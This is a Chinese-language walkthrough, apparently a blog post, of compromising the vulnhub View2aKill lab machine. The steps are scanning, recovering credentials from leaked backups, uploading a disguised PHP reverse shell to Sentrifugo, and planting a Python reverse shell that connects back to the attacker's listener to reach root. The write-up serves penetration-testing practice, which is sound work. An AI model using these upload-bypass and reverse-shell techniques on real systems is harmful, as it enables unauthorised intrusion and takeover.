本周末实践的是vulnhub的View2aKill镜像,下载地址,https://download.vulnhub.com/view2akill/View2aKill.ova,
用workstation打开,能扫描到地址,
sudo netdiscover -r 192.168.137.0/24,
接着做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.137.9,
再接着做目录爆破,sudo dirb http://192.168.137.9,
浏览器访问http://192.168.137.9/dev/,
下载e_bkup.tar.gz,解压后查看文件,
New_Employee_Onboarding_Chuck.rtf里提示了一个账号,[email protected],
密码提示复杂了,password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007.
接着查看文件,remote_control.gif,还真是个视频,
里面看到密码的一半,helicopter,
继续查看文件,HID6005.pdf,
里面看到密码的另一半,Transmit Frequency,125 kHz,
这就把最终的密码拼出来了,helicopter125,
下面找登录的后台,访问http://192.168.137.9/robots.txt,
从http://192.168.137.9/zorin/hr.html里找到的登录后台,
浏览器访问http://192.168.137.9/sentrifugo,
用之前获取到的账号密码登录,
在exploit-db上搜sentrifugo都能做哪些漏洞利用,找到一个文件上传漏洞,
找到上传文件的地方,http://192.168.137.9/sentrifugo/index.php/expenses/receipts/,
攻击机kali下就有现成的webshell文件,
/usr/share/webshells/php/php-reverse-shell.php,
按照要求改扩展名,不然不让上传,
sudo mv php-reverse-shell.php php-reverse-shell.php.doc,
kali攻击机上先开个监听,nc -lvp 4444,
文件上传过程中用Burp Suite改文件扩展名和反弹的地址和端口,
这就拿到了第一个shell,不是root,需要提权,
在/home/jenny/下看到一个压缩包,解压后查看到可ssh的账号密码,
用新的账号密码ssh登录,拿到第二个shell,还不是root,继续提权,
看到/home/max/下有个可执行的python脚本aView.py,内容是空的,
那就给它添加反弹shell脚本,
import socket,subprocess,os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.137.223",4445))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
kali攻击机上再开个监听,nc -lvp 4445,
执行发现虽然能反弹过来,但还是jenny账户,跟ssh上去的没区别,
继续想办法,查看文件cat note.txt,发现了提示,
提示了一个8191端口下隐藏url的计算方法,
那就写个程序把可能的隐藏url都算出来,
sudo vim geturl.py
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import string
from hashlib import sha1
import requests
fuzz=[]
for alpha in string.ascii_lowercase:
for a in string.digits:
for b in string.digits:
payload= sha1((alpha + "view" + a + b + "n").encode("utf-8")).hexdigest()
fuzz.append(payload)
file1 = open("directories.txt","w")
for i in fuzz:
file1.write(i)
file1.write("n")
file1.close()
执行完geturl.py就得到了directories.txt,用这个当字典进行url爆破,
sudo dirb http://192.168.137.9:8191 directories.txt,
明显看到其中一个url的返回size比其它的大很多,就是它了,
http://192.168.137.9:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a,
点击红色按钮,之前开的监听,nc -lvp 4445,竟然返回了,
至此,终于拿到了root权限。
本文始发于微信公众号(云计算和网络安全技术实践):vulnhub之View2aKill的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论